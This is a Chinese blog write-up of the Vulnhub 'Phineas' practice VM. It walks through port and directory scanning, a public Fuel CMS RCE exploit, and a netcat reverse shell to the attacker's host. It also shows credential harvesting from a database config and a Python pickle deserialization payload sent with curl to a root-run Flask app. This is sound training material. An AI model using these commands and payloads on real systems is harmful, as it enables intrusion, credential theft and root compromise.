Vulnhub靶场之Phineas

2025-02-08 1 0

靶场:https://www.vulnhub.com/entry/phineas-1,674/

安装:下载之后导入到vmware,网络模式选择nat

攻击机:kali

一、信息搜集

arp-scan -l主机ip探测

Vulnhub靶场之Phineas插图

192.168.203.134是新增加的ip,也就是靶机ip

nmap扫描

nmap --min-rate 10000 -p- 192.168.203.134  --端口扫描

Vulnhub靶场之Phineas插图1

nmap -sT -A -sV -O -sC -p 22,80,111,3306 192.168.203.134 -oA ./nmap/detail  --端口详细信息探测

Vulnhub靶场之Phineas插图2

浏览器访问80端口,是apache的默认页面

Vulnhub靶场之Phineas插图3

基于根路径进行目录扫描

gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/en_dirctories_all.txt -u http://192.168.203.134/ -t 5

Vulnhub靶场之Phineas插图4

就扫出来一个/structure,访问看看

Vulnhub靶场之Phineas插图5

看了下源码也没什么有用的东西,还得继续爆破

gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/en_dirctories_all.txt -u http://192.168.203.134/structure/ -t 5

Vulnhub靶场之Phineas插图6

访问下robots.txt

Vulnhub靶场之Phineas插图7

访问下这个路径,会302跳转到/structure/fuel/start响应404。按理说robots.txt中的目录应该不会有404的情况,那么问题很有可能还是出在访问路径上。

先放下这个去看看/assets目录

Vulnhub靶场之Phineas插图8

Vulnhub靶场之Phineas插图9

挨个看了一遍没发现有用的东西,就一个index.html无法访问。还是接着去看路径吧......

之前的目录爆破都是基于路径的,试下敏感文件爆破

gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/fileName10000.txt -u http://192.168.203.134/structure/ -t 5

Vulnhub靶场之Phineas插图10

多了index.php和README.md两个文件,README.md不用多说通常都是描述文件,看一下

Vulnhub靶场之Phineas插图11

通过阅读可以得知两个主要信息:

1.fuel是一个cms

2.网站使用fuel应该是小于1.4的版本

那么利用思路就有了,从网上搜一下cms相关的漏洞,最好是rce

直接google搜fuelcms就能看到

Vulnhub靶场之Phineas插图12

Vulnhub靶场之Phineas插图13

可以看到漏洞可利用版本Version: <= 1.4.1

二、RCE漏洞利用

将exp保存为py文件,分析exp代码可以知道漏洞利用需要一个url,结合上面敏感文件爆破时得到的index.php,就可以拿到一个/structure/index.php,访问这个路径和直接访问/structure/页面是一样的。

执行exp

python exp.py -u http://192.168.203.134/structure/index.php

Vulnhub靶场之Phineas插图14

没毛病,那就直接反弹吧

Vulnhub靶场之Phineas插图15GG,urlencode试下

nc%20192.168.203.135%208888%20-e%20%2Fbin%2Fsh

Vulnhub靶场之Phineas插图16

还是不行,换一个反弹端口尝试,将8888改成443

Vulnhub靶场之Phineas插图17

成功,不需要urlencode

Vulnhub靶场之Phineas插图18

想用python美化下交互,但是失败了不知道什么原因。凑合用吧.....

进入到fuel目录中翻下敏感文件,最终在/var/www/html/structure/fuel/application/config/database.php中找到了数据库的配置信息

Vulnhub靶场之Phineas插图19

尝试使用ssh登录anna账户

Vulnhub靶场之Phineas插图20

三、反序列化提权

进入用户目录/home/anna

Vulnhub靶场之Phineas插图21

Desktop目录中有user.txt

执行sudo -l看看有没有可利用的

Vulnhub靶场之Phineas插图22

发现用户目录下的web目录有一个flask的应用,而且有root权限,那十有八九提权点就在这里

Vulnhub靶场之Phineas插图23

看下源码

Vulnhub靶场之Phineas插图24

很简单,/heaven接收一个awesome参数的post请求,再使用pickle处理参数。

用的应该是flask的模块端口5000,查看下5000端口是否在用,之前用nmap扫描并没有扫描到

netstat -anp|grep 5000

Vulnhub靶场之Phineas插图25

端口在用,但是扫描不到,那么可以推测从外部无法访问,需要转发到攻击机或者直接在靶机请求。

通过上面的源码可以到应用比较简单,就不转发了,直接在靶机上curl一下

Vulnhub靶场之Phineas插图26

服务可以访问,那剩下就是怎么利用的问题了

构造请求参数,使用python3版本,先确定下权限

import pickle
import os
import base64

class genpoc():
def __reduce__(self):
s = """whoami > 2.txt"""
return os.system, (s,)
e = genpoc()
poc = pickle.dumps(e)
print(poc)
poc_base64 = base64.urlsafe_b64encode(poc)
print(poc_base64)

Vulnhub靶场之Phineas插图27

下面的就是经过序列化并base64编码后的请求参数,构造curl请求

curl http://127.0.0.1:5000/heaven -d "awesome=gASVKQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA53aG9hbWkgPiAyLnR4dJSFlFKULg=="

在靶机上执行,会在当前目录下看到2.txt

Vulnhub靶场之Phineas插图28

成功了,接下来就是修改代码,把s改成反弹shell的命令,重新生成payload再发送请求

Vulnhub靶场之Phineas插图29

python3 -c "import pty;pty.spawn('/bin/bash')"美化一下(之前不能执行应该是权限问题)

Vulnhub靶场之Phineas插图30

四、总结

1.靶场本身不难,但是目录爆破如果字典不行就很难突破,平时还要留心整理字典

2.反弹shell最好使用通常不会被禁的端口,如80,443

参考文章

https://xz.aliyun.com/news/7032


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

[Meachines] [Easy] Precious Ruby-pdfkit-RCE+Ruby YAML反序列化权限提升
美国医疗系统遭遇重大数据泄露,88.2万患者信息被曝光
DeepSeek应用未加密传输敏感用户和设备数据,引发安全担忧
基于本地大模型的敏感信息检测的burp插件开发
flaskpython代码审计思路及实战记录
甲方视角下的供应链安全思考

发布评论